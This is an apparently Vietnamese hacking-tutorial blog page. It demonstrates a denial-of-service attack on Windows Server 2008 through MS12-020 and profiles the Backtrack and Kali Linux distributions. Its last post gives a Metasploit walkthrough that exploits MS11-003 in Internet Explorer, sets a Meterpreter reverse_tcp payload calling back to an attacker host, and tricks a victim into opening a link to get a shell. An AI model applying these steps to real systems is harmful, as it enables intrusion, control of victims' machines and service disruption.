Lâm Việt Hùng: hacker

Showing posts with label hacker. Show all posts

Hướng dẫn khai thác lỗ hổng bảo mật ms12_020 trên windows server 2008

Chào các bạn !<br />
<br />
Hôm nay mình sẽ hướng dẫn các bạn cách khai thác lỗ hổng MS12_020 trên Windows Server 2008.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaPvIGRBKi5Idrq-WtjI3Ls2hPR8Dwo5-5RYvM49IxkCqR68__bBMXy20JmTRxPgCMvGKzJgVLsOHYXctDQeRaXCaZQl1FEsPf2Mv6WiCCGY0SiHKAG-7bb5770A_5hWAvqWFykndyFCb7/s1600/1.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaPvIGRBKi5Idrq-WtjI3Ls2hPR8Dwo5-5RYvM49IxkCqR68__bBMXy20JmTRxPgCMvGKzJgVLsOHYXctDQeRaXCaZQl1FEsPf2Mv6WiCCGY0SiHKAG-7bb5770A_5hWAvqWFykndyFCb7/s640/1.PNG" width="640" /></a></div>
<br />
<br />
Cần chuẩn bị: Một HĐH Kali Linux hoặc Backtrack (Tùy vào sở thích của mỗi người)<br />
<br />
Các bạn có thể cài Kali hoặc Backtrack vào VMware hoặc qua hệ thống USB boot đều được.<br />
<br />
Đầu tiên ta cần có một mục tiêu. Ở đây tôi có 1 con Server 2008 với địa chỉ ip là 140.2.95.100<br />
<br />
Với lệnh : rdesktop 140.2.95.100 ( Nếu truy cập vào màn hình Remote Desktop được thì khả năng dính lỗi ms12_020 rất cao )<br />
<br />
Sau khi xác định server dính lỗi ta tiến hành khai thác bằng công cụ mfsconsole.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8UIDyaIWZlq6Y_FfIzwyw37yAfwm16eT15UhU49WOsGmVwEXkq3RsuCD8IUHQG-ncHYX2qaLlo7i8xNEIyKZF_HQep-YhGyY48UmmaaRLjTF5VVcREe20gDHybCGXFxegzcw232_kIwZJ/s1600/2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="422" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8UIDyaIWZlq6Y_FfIzwyw37yAfwm16eT15UhU49WOsGmVwEXkq3RsuCD8IUHQG-ncHYX2qaLlo7i8xNEIyKZF_HQep-YhGyY48UmmaaRLjTF5VVcREe20gDHybCGXFxegzcw232_kIwZJ/s640/2.PNG" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh90o9RiutuTAEWPoZjwRvOxLeU1ThicdLI-w5-stKKiyd-KdFteyEZg-MqUQItS6bthgGeT12qnYzFfzF5SfSi4sr-JWFdLpOnLJTWJaR0qfqGkMlxYe23NhxU2CJqjDp2uflkjZRIj1DT/s1600/3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh90o9RiutuTAEWPoZjwRvOxLeU1ThicdLI-w5-stKKiyd-KdFteyEZg-MqUQItS6bthgGeT12qnYzFfzF5SfSi4sr-JWFdLpOnLJTWJaR0qfqGkMlxYe23NhxU2CJqjDp2uflkjZRIj1DT/s640/3.PNG" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsczx1X1VPjaYz4tgZtI5lUk-w94n6hZKAD_KtEhLRjZnKTEw2TxWOHFHY2LTUJ9x5aG-2GNjKf7ScTK1FnMagFgYUzRjbbRdEIykZ_5xZtuSyj8ijR4b2cLBu5RCDU3okvJnrdXSOkN-1/s1600/4.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsczx1X1VPjaYz4tgZtI5lUk-w94n6hZKAD_KtEhLRjZnKTEw2TxWOHFHY2LTUJ9x5aG-2GNjKf7ScTK1FnMagFgYUzRjbbRdEIykZ_5xZtuSyj8ijR4b2cLBu5RCDU3okvJnrdXSOkN-1/s640/4.PNG" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
Trên đây là demo về Dos<br />
(Khi thực hiện thành công cách này thì Server sẽ bị tạm ngưng trong khoảng thời gian ngắn rồi sẽ hoạt động trở lại như bình thường)<br />
<br />
<b>Video hướng dẫn:</b><br />
<br />
<style type="text/css">
#ads-video {width:81%;height:400px;background:#000;position:absolute;top:0;}
#ads-video #countdown {color: #fff;font-size: 15px;position: absolute;right: 10px;bottom: 10px;padding: 10px 0px 0px 0px;font-family: Roboto Condensed,Arial;background:url('http://acp.xemgame.com/icons/ajax_loader.gif');cursor:pointer;width:40px;height:40px;background-size:cover;text-align:center;box-sizing:border-box;}
#ads-video #nut-close {color: #fff;font-size: 15px;position: absolute;right: 10px;bottom: 10px;border: 1px solid #fff;padding: 3px 5px;font-family: Roboto Condensed,Arial;background: rgba(0,0,0,.8);cursor:pointer;display:none}
#ads-video .gioithieu {color: #fff;background:rgba(154,2,9,.7);width:100%;box-sizing:border-box;font-size: 15px;position: absolute;left:0;top:0;font-family: Roboto Condensed,Arial;padding:3px 10px}
.clip-display {width:100%;height:400px;}
.clip-display div,img,h3 {box-sizing:border-box}
.clip-display .clip-frame {width:124%;float:left;position:relative;overflow:hidden;height:400px}
.clip-display .clip-frame .clip-title {width:100%;display:inline-block;background:#000;color:#fff;font-family:Roboto Condensed,Arial;font-weight:500;font-size:16px;height:400px;padding:4px 10px;}

</style>

<br />
<div id="ads-video">
<div style="left: 180px; position: relative; top: 80px;">
<script async="" src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>

<br />
<ins class="adsbygoogle" data-ad-client="ca-pub-6751184663910456" data-ad-slot="3220838927" style="display: inline-block; height: 200px; width: 250px;"></ins><script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script></div>
<span id="countdown" style="display: none;">6</span>
       <span id="nut-close" style="display: inline;">Skip Ads</span>
       <script type="text/javascript">
       var seconds_left = 6;
       var interval = setInterval(function() {
        document.getElementById('countdown').innerHTML = --seconds_left;

if (seconds_left <= 6)
        {
         $('#nut-close').show();
         $('#countdown').hide();
         clearInterval(interval);
        }
       }, 1000);
      
         /*var hengio = setTimeout(function() {
         document.getElementById("ads-video").remove();
         $("#fitvid")[0].src += "&autoplay=1&showinfo=0&rel=0&autohide=1&title=";
      }, 10000);*/
       /*setTimeout(function() {
         $('#nut-close').show();
         $('#countdown').hide();
      }, 5000);*/
       
       $("#nut-close").click(function(){
       document.getElementById("ads-video").remove();
       $("#fitvid")[0].src += "&autoplay=1&showinfo=0&rel=0&autohide=1&title=";
       clearTimeout(hengio);
      });
      </script>   
      </div>
</div>
</div>
</td></tr>
</tbody></table>

Hướng dẫn khai thác lỗ hổng bảo mật ms12_020 trên windows server 2008

Chào các bạn ! Hôm nay mình sẽ hướng dẫn các bạn cách khai thác lỗ hổng MS12_020 trên Windows Server 2008. Cần chuẩn bị: Một HĐH Kal...

+ Read more »

Hãy like và share nếu bài viết hữu ích --->

Bài viết khác

Hai công cụ thường được dùng để thâm nhập mạng

1. Backtrack:<br />
<br />
Backtrack là một bản phân phối dạng Live DVD của Linux, được phát triển để thử nghiệm thâm nhập. Trong các định dạng Live DVD, có thể sử dụng Backtrack trực tiếp từ DVD hoặc cài đặt trên máy và sử dụng như một hệ điều hành. Backtrack hỗ trợ một cách nhanh chóng cho việc tìm kiếm và cập nhật cơ sở dữ liệu các công cụ bảo mật. Backtrack có lịch sử phát triển qua nhiều bản Linux khác nhau (phiên bản hiện nay sử dụng bản phân phối Slackware Linux) và liên tục cập nhập các công cụ, drivers qua các phiên bản…<br />
Công cụ kiểm thử bảo mật trong Backtrack có thể được phân loại thành các nhóm như sau:<br />
<br />
Information gathering: Sử dụng để có được thông tin liên quan đến một mục tiêu DNS, địa chỉ email, trang web, máy chủ mail….<br />
<br />
Network mapping: Quét thăm dò, bao gồm việc kiểm tra các host đang tồn tại, thông tin về hệ điều hành, ứng dụng được sử dụng bởi mục tiêu….<br />
<br />
Vulnerability identification: Quét các lỗ hổng, phân tích Server Message Block (SMB) và Simple Network Management Protocol (SNMP).<br />
<br />
Web application analysis: Theo dõi, giám sát các ứng dụng web.<br />
<br />
Radio network analysis: Kiểm tra mạng không dây, bluetooth và nhận dạng tần số vô tuyến (RFID).<br />
<br />
Penetration: Khai thác các lỗ hổng tìm thấy trong các máy tính mục tiêu.<br />
<br />
Privilege escalation: Sau khi khai thác các lỗ hổng và được truy cập vào các máy tính mục tiêu, các công cụ trong loại này có thể sử dụng để leo thang đặc quyền.<br />
<br />
Maintaining access: Duy trì quyền truy cập vào các máy tính mục tiêu. Những đặc quyền cao nhất là điều kiện cần thiết trước khi có thể cài đặt công cụ để duy trì quyền truy cập.<br />
<br />
Voice Over IP (VOIP): Các công cụ để phân tích VOIP.<br />
<br />
Digital forensics: Phân tích hình ảnh đĩa cứng, cấu trúc các tập tincó thể chọn Start Backtrack Forensics trong trình đơn khởi động.<br />
<br />
Reverse engineering: Gỡ rối chương trình hoặc tháo rời tập tin thực thi.<br />
<span style="background-color: white; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 13.2px; line-height: 19.8px; text-align: justify;"><br /></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuyn418B2zj6cKMQKtINbKBfvSilWVftStrgkAFgl0Zf_1yEr-3FcinxjjJB-VOwWx90ra2lo7-cs9xuzvjKTKcYR2loHp2NHGFl25uFPARQYhNct8hPBznTdOnMu-UVhVw7a44yZ3HO4n/s1600/hack-like-pro-getting-started-with-backtrack-your-new-hacking-system.w654.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="352" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuyn418B2zj6cKMQKtINbKBfvSilWVftStrgkAFgl0Zf_1yEr-3FcinxjjJB-VOwWx90ra2lo7-cs9xuzvjKTKcYR2loHp2NHGFl25uFPARQYhNct8hPBznTdOnMu-UVhVw7a44yZ3HO4n/s640/hack-like-pro-getting-started-with-backtrack-your-new-hacking-system.w654.jpg" width="640" /></a></div>
<br />
2. Kali Linux:<br />
<br />
Tháng 3 năm 2013, Offensive Security đã tiến thêm một bước mới khi công bố phiên bản tiến hóa của hệ điều hành BackTrack, tên của nó là Kali (được xem như phiên bản BackTrack 6), Kali là tên nữ thần của người Hindu, hàm ý sự biến đổi và khả năng hủy diệt hay có lẽ là tên một môn võ thuật của người Philippine ...<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9k5SQWIV67RyfueaYqaBmmPc2ToS2zBA_3j9iwrnoA2BEE_BMHWIhrYxq8kSN1EFlMmDCXRiQm1_iT2prAPf48HR0ufQ2qhj0dPLrVRa8Ivfuzihng7ZN6GueLfQF3-laGQtu78Ip8gTv/s1600/kali-rolling.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="226" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9k5SQWIV67RyfueaYqaBmmPc2ToS2zBA_3j9iwrnoA2BEE_BMHWIhrYxq8kSN1EFlMmDCXRiQm1_iT2prAPf48HR0ufQ2qhj0dPLrVRa8Ivfuzihng7ZN6GueLfQF3-laGQtu78Ip8gTv/s640/kali-rolling.png" width="640" /></a></div>
<br />
Để qua một bên chuyện tên với tuổi, DNA nghĩ rằng Kali Linux là một OS rất hữu ích đối với những chuyên gia đánh giá bảo mật, một OS tập hợp và phân loại gần như tất cả các công cụ thiết yếu mà bất kỳ một chuyên gia đánh giá bảo mật nào cũng cần sử dụng đến khi tác nghiệp.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVvhVdaIBOK0jNL5RXR2XMjBLfOG-0M9PTBathmLPybOQ936rwrguWa_SuZ0U7K47yIsPGVZndRI0AP2XGmQd1le8V2nXxPnl_AU9NeCdha85QHppDDI5-Y41Tbl88U2yp5RvnABh5O7D6/s1600/kali-rolling-screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="368" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVvhVdaIBOK0jNL5RXR2XMjBLfOG-0M9PTBathmLPybOQ936rwrguWa_SuZ0U7K47yIsPGVZndRI0AP2XGmQd1le8V2nXxPnl_AU9NeCdha85QHppDDI5-Y41Tbl88U2yp5RvnABh5O7D6/s640/kali-rolling-screenshot.png" width="640" /></a></div>
<br />
• Trên đây là 2 HĐH thường được các Hacker và các chuyên gia bảo mật sử dụng.<br />
<br />
• Các bạn có thể download tại đây:<br />
<br />
     <a href="https://drive.google.com/file/d/0B5nxMLOd8dEbbUFiT1pHVTYtbTQ/view?usp=sharing" target="_blank">Backtrack 5 R3</a> |  <a href="https://drive.google.com/file/d/0B5nxMLOd8dEbTGQwYXQ5OGVIeDQ/view?usp=sharing" target="_blank">Kali Linux</a>

Hai công cụ thường được dùng để thâm nhập mạng

1. Backtrack: Backtrack là một bản phân phối dạng Live DVD của Linux, được phát triển để thử nghiệm thâm nhập. Trong các định dạng Live DV...

+ Read more »

Hãy like và share nếu bài viết hữu ích --->

Bài viết khác

Hack Quyền Điều Khiển Windows 7 Sử Dụng Công Cụ Metaploit trên BackTrack 5 R3

Thực hiện tấn công Windows 7.
Ta đổi địa chỉ IP 2 máy attacker và victim về cùng một dải mạng. Ta gõ lệnh sau <i># vi /etc/network/interfaces </i>để sửa lại địa chỉ IP trên máy attacker.<br />
<br />
<div style="text-align: center;">
<img height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhuK75viJQsnS0XcKPXLO_vAU_tAr9P91OI50UwU8KaHxO9gWcmHnJdHLed_3vsAzns2BW7ZrP_05x7NtfXo4kkT1fz7c638GdWLmBdHjfICDNdAR05vapP5OKVEwCqWc7_ne3ycgLePhdJ/s400/1.png" width="400" /> </div>
<br />
Sau khi chỉnh sửa xong địa chỉ IP ta lưu lại và khởi động lại card mạng bằng lệnh
<i># /etc/init.d/networking restart</i>  Tiếp tục ta gõ lệnh<i> # msfconsole</i> để khai thác lỗ hổng thông qua công cụ Metasploit. Sau khi gõ lệnh sẽ hiện thị kết quả như hình bên dưới:<br />
<br />
<div style="text-align: center;">
<img height="272" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghEsQu8nM9nyb7QUA7Yxtjiz_xoFADMHnAt8Qc95wcLy364mwUrb6n4tRNsnnryVM8WV9fIl6ilrCLsmTMBNqYII8q3zQKj5hJLN-XhpjzcJrgZ0s1xELDDeg_m94O7HsG6uT9t9pgMzca/s400/2.png" width="400" /> </div>
<br />
Ta tiếp tục gõ lệnh search ms11_003 để tìm kiếm lỗ hổng MS11_003 trên CSDL của Metasploit. Hiển thị kết quả như hình bên dưới là thành công:<br />
<br />
<div style="text-align: center;">
 
<img height="277" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmT3BgaUSfEVK6zAbOV7JoFBbkL4NosCbkEUXqCPYSOnIfKJmmpKXtCZmzjsdQIi2DiODV9y50kziZ3hmcxF_kg5UL4ZSWE6xOXQ40c172E9v3a8ABeXYUUGkBpeWZ5gxHVxYZPguPtTJ3/s400/3.png" width="400" /> </div>
<br />
Ta gõ tiếp dòng lệnh use exploit/windows/browser/ms11_003_ie_import  , tiếp theo ta thiết lập IP lắng nghe khi có kết nối trả về máy attacker set SRVHOST 10.0.0.2
Sau đó gõ tiếp lệnh set URIPATH / để thiết lập đường dẫn đánh lừa victim.
Gõ lệnh : set payload windows/meterpreter/reverse_tcp với mục đích để chiếm phiên làm việc của victim.
Tạo payload lắng nghe trên địa chỉ của attacker và port 444 bằng lệnh : set LHOST 10.0.0.2
Gõ tiếp exploit để thực thi payload. Mọi thứ hoàn tất và thành công sẽ hiển thị giống như hình bên dưới.<br />
<br />
<div style="text-align: center;">
 
<img height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX22KcbeUA7fQk6dVQ1FTt8PDumrMWRY28FL1ge3c5rhw_j-m4Jb4aXAL2K_zjYMni4Zyp1OGG2YfYWIsSLf7LzsuvGKO7p7HM28VlxCDFcr5umHGuacFHLVXKaqLlYhHTzatSWs0j2_IN/s400/4.png" width="400" /> </div>
<br />
Ta tìm cách đánh lừa người dùng truy cập vào dường dẫn trên máy attacker để chiếm quyền điều khiển. Đường dẫn giống như hình bên dưới:<br />
<br />
<div style="text-align: center;">
<img height="57" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOr6pEN6hzPeFxfdqjsY8fIkQZEGUJQzmJBrLArJ4KQCuiFgj4_ASd5I673JFwrTUgC_0P1fjGBfUOIawKLfEg7qv3AY-nPfWmFPb-FkP7zSyM7lI21aWkdpDfCyYZNnV90_Hm_lQbac8d/s400/5.png" width="400" /> </div>
<br />
Người dùng truy cập vào đường dẫn trên máy attacker đã được thiết lập mã độc sẽ hiển thị như hình bên dưới.<br />
<br />
<div style="text-align: center;">
 
<img height="272" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUCepTfE51xkc4GOHitMMoonMkAOtlKiA_k8vcG-HFzeAWEQEkM5v_RZnF7NvogWvMmDYV-X4ViClEY1v8NhEybGWC3zhg1IvYkTJoaEJ6ArURzZMuiDbEm8PFkA31Z3YYLuN0qJFDhkmz/s400/6.png" width="400" /> </div>
<br />
Sau khi người dùng nhiễm mã độc trên trình duyệt IE sẽ bị treo và không tắt được, trên máy attacker sẽ hiển thị như hình sau:<br />
<br />
<div style="text-align: center;">
 
<img height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgD6F6FTC-EPf-IFHbo_4Uzmzfeyeyrr2Gb2NX_daAdPGq8mnCZE976dYIuvC2cu6XNOzjGDyCSxHEYB7m7iZO3UWvwKIoqTYwDJx0EFuOuMzBXXPzrqwRPMm_axAY-CIAgz9dy7_pmziiw/s400/7.png" width="400" /> </div>
<br />
Tiếp ta sẽ gõ lệnh sessions và gõ lệnh sessions –i 1 để tương tác với sessions 1.
Gõ lệnh sysinfo để xem thông tin về máy victim.<br />
<br />
<div style="text-align: center;">
 
<img height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigPcGRd_OaBqGFAYaob0atXjsCkbGi68VAy8sj_P6t7efZLuKKlbks54mh_cwzVOpM3oIu72loWym9Tep4BtAopfXcxKfz5t6vbNSBCazsUjTj_Wk2M4YJT8HhKtZ9uT9s03GegVn_Xwl0/s400/8.png" width="400" /> </div>
<br />
Bắt đầu chiếm quyền điều khiển máy victim với lệnh shell. Sau đó ta có thể tạo thư mục để đánh dấu mình đã xâm nhập thành công.<br />
<br />
<div style="text-align: center;">
<img height="276" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1yNeHIgJEPTE6YlC8O1p537FxGx9V1NF-DSRy67am_DTlyEezRIZXcAAcq3zMQ2jYCxB0SRlgcrQu55QhaqT1ktuONutgCQ0uoPtPbIyLoHHZmtSA4Ojlr0NGu-Jq8Y6K_SpdG86RbZEW/s400/9.png" width="400" /> </div>
<br />
<div style="text-align: center;">
<img height="221" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhf-ql_5TTRu_RgjPu-fQYI962n4yOZIqDbVb9mbJtoIeRFwoqAp_bO5QpxjZkltVPFpgDVFkZdlF4hSfPuCqkkDRuaJU1DqgaeRKmi62189UCv8uyawOflbTn2pfOmzf44vJLoxkVVVT1D/s400/10.png" width="400" /> </div>
<br />
<b>Hướng bảo mật và phòng tránh bị hacker tấn công: </b><br />
<br />
- Lỗi MS11_003 thông qua gửi các tập tin html và css để chạy các đoạn mã nhằm xâm nhập máy tính nạn nhân để có thể đạt được quyền ngang bằng với quyền hạn của người truy cập lúc bấy giờ.<br />
- Để tránh bị hacker lợi dụng lỗi MS11_003 để chiếm quyền điều khiển máy tính của mình thì người dùng sử dụng Windows 7 không nên sử dụng trình duyệt IE. Trình duyệt IE trên Windows 7 chưa lỗ hổng bảo mật nghiêm trọng để các hacker có thể dễ dang khai thác và tấn công máy người dùng. Ta có thể sử dụng các trình duyệt bảo mật tốt hơn hiện nay được rất nhiều người sử dụng như: Chrome, Firefox hay trình duyệt Microsoft Edge,…
<br />
<br />
<b>Video hướng dẫn:</b><br />
<br />
<style type="text/css">
#ads-video {width:81%;height:400px;background:#000;position:absolute;top:0;}
#ads-video #countdown {color: #fff;font-size: 15px;position: absolute;right: 10px;bottom: 10px;padding: 10px 0px 0px 0px;font-family: Roboto Condensed,Arial;background:url('http://acp.xemgame.com/icons/ajax_loader.gif');cursor:pointer;width:40px;height:40px;background-size:cover;text-align:center;box-sizing:border-box;}
#ads-video #nut-close {color: #fff;font-size: 15px;position: absolute;right: 10px;bottom: 10px;border: 1px solid #fff;padding: 3px 5px;font-family: Roboto Condensed,Arial;background: rgba(0,0,0,.8);cursor:pointer;display:none}
#ads-video .gioithieu {color: #fff;background:rgba(154,2,9,.7);width:100%;box-sizing:border-box;font-size: 15px;position: absolute;left:0;top:0;font-family: Roboto Condensed,Arial;padding:3px 10px}
.clip-display {width:100%;height:400px;}
.clip-display div,img,h3 {box-sizing:border-box}
.clip-display .clip-frame {width:124%;float:left;position:relative;overflow:hidden;height:400px}
.clip-display .clip-frame .clip-title {width:100%;display:inline-block;background:#000;color:#fff;font-family:Roboto Condensed,Arial;font-weight:500;font-size:16px;height:400px;padding:4px 10px;}

</style>

<br />
<div id="ads-video">
<div style="left: 180px; position: relative; top: 80px;">
<script async="" src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>

<br />
<ins class="adsbygoogle" data-ad-client="ca-pub-6751184663910456" data-ad-slot="3220838927" style="display: inline-block; height: 200px; width: 250px;"></ins><script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script></div>
<span id="countdown" style="display: none;">0</span>
       <span id="nut-close" style="display: inline;">Skip Ads</span>
       <script type="text/javascript">
       var seconds_left = 6;
       var interval = setInterval(function() {
        document.getElementById('countdown').innerHTML = --seconds_left;

if (seconds_left <= 0)
        {
         $('#nut-close').show();
         $('#countdown').hide();
         clearInterval(interval);
        }
       }, 1000);
      
         /*var hengio = setTimeout(function() {
         document.getElementById("ads-video").remove();
         $("#fitvid")[0].src += "&autoplay=1&showinfo=0&rel=0&autohide=1&title=";
      }, 10000);*/
       /*setTimeout(function() {
         $('#nut-close').show();
         $('#countdown').hide();
      }, 5000);*/
       
       $("#nut-close").click(function(){
       document.getElementById("ads-video").remove();
       $("#fitvid")[0].src += "&autoplay=1&showinfo=0&rel=0&autohide=1&title=";
       clearTimeout(hengio);
      });
      </script>   
      </div>
</div>
</div>
</td></tr>
</tbody></table>
<br />
<br />

Hack Quyền Điều Khiển Windows 7 Sử Dụng Công Cụ Metaploit trên BackTrack 5 R3

Thực hiện tấn công Windows 7. Ta đổi địa chỉ IP 2 máy attacker và victim về cùng một dải mạng. Ta gõ lệnh sau # vi /etc/network/interfaces ...

+ Read more »

Hãy like và share nếu bài viết hữu ích --->